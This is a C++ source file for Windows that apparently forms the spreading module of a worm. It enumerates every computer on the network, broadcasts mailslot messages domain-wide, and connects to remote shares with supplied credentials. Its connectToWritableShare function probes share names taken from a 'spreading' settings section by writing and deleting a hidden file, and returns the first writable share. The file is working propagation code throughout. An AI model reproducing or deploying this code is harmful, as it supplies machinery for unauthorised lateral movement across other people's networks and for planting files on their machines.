#include <iostream>
#include <string>
using namespace std;

#include <windows.h>
#include <Winnetwk.h> // Windows net API (as used by net.exe)

#include "net.hpp"
#include "settings.hpp"

share::share(const string &path,const string &username,const string &password): path(path), username(username), password(password) {}

share::~share() {}

int share::connect() const {
    NETRESOURCE n;
    memset(&n,0, sizeof(NETRESOURCE));
    n.dwType = RESOURCETYPE_ANY;
    n.lpRemoteName = const_cast<char*>(path.c_str());
    return WNetAddConnection2(&n,password.c_str(),username.c_str(),CONNECT_TEMPORARY);
}

int share::disconnect() const {
    return WNetCancelConnection2(path.c_str(),0,TRUE);
}

mailslot::mailslot(const string &name): name(name) {
    ms = NULL;
    open();
}

mailslot::~mailslot(){
    close();
}

bool mailslot::isOpen(){
    return (ms != NULL);
}

void mailslot::close(){
    if (isOpen()){
        CloseHandle(ms);
        ms = NULL;
    }
}

bool mailslot::open(){
    string slotname("\\\\.\\mailslot\\");
    slotname.append(name);
    ms = CreateMailslot(slotname.c_str(),
        0,                             // no maximum message size
        MAILSLOT_WAIT_FOREVER,         // no time-out for operations
        NULL);                         // default security
    return isOpen();
}

int mailslot::sizeOfNextMessage(){
    int msgSize = 0;
    int result;
    result = GetMailslotInfo(ms,   // mailslot handle
        (LPDWORD) NULL,            // no maximum message size
        (LPDWORD) &msgSize,        // size of next message
        (LPDWORD) NULL,            // number of messages
        (LPDWORD) NULL);           // no read time-out
    if (!result) return -1;
    return msgSize;
}

int mailslot::readNextMessage(unsigned char *buffer,int size){
    int bytes_read;
    if (!ReadFile(ms,buffer,size,(LPDWORD) &bytes_read,NULL)){
       return 0;
    }
    return bytes_read;
}

int sendMailslotMessage(const string &target,string &mailslot,unsigned const char *buffer,int size){
    #ifdef DEBUG
    cout << "Sending mailslot message to " << target << " -> " << mailslot << ": " << buffer << endl;
    #endif
    string slotname("\\\\");
    slotname.append(target);
    slotname.append("\\mailslot\\");
    slotname.append(mailslot);
    HANDLE f = CreateFile(slotname.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (f == INVALID_HANDLE_VALUE){
        return -1;
    }
    int bytes_written;
    if (!WriteFile(f, buffer, (DWORD)size, (LPDWORD)&bytes_written, NULL)){
       return -1;
    }
    CloseHandle(f);
    return bytes_written;
}

int sendMailslotMessageToEveryone(string &mailslot,unsigned const char *buffer,int size){
    //TODO: sending a message to * will only send the message to all computers in the current domain, not all reachable computers.
    //      So, add code to list all domains in the LAN, and send the message to all the computers in it.
    string target("*");
    return sendMailslotMessage(target,mailslot,buffer,size);
}

bool getComputersInNetwork(vector<string> &list,LPNETRESOURCE parent){
    DWORD r;
    HANDLE e;
    DWORD count,size;
    NETRESOURCE nr[8];

    r = WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY,RESOURCEUSAGE_ALL,parent,&e);
    if (r) return false;

    while(true){
        count = 1;
        size = sizeof(nr);
        r = WNetEnumResource(e,&count,nr,&size);
        if (r==NO_ERROR){
            for(unsigned int i = 0; i<count; i++){
                if (strlen(nr[i].lpRemoteName) > 2 && memcmp(nr[i].lpRemoteName,"\\\\",2)==0){
                    list.push_back(&nr[i].lpRemoteName[2]);
                } else if (nr[i].dwUsage & RESOURCEUSAGE_CONTAINER){
                    getComputersInNetwork(list,&nr[i]);
                }
            }
        } else if (r == ERROR_NO_MORE_ITEMS){
            WNetCloseEnum(e);
            return true;
        } else {
            WNetCloseEnum(e);
            cout << r << endl;
            return false;
        }
    }
}

bool connectToWritableShare(const string &computer, const string &username, const string &password, string &output_path){
    string sharepath("\\\\");
    sharepath.append(computer);
    sharepath.append("\\");

    for(int i=0;;i++){
        string path(sharepath);
        try{
            path.append(settings.child("spreading").value("share",i));
        } catch(...) { break; }
        class share s(path,username,password);
        s.connect();
        string filepath(path);
        filepath.append("\\#");
        HANDLE h = CreateFile(filepath.c_str(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
        if (h==NULL){
            continue;
        } else {
            CloseHandle(h);
            DeleteFile(filepath.c_str());
            output_path = path;
            return true;
        }
    }
    return false;
}






































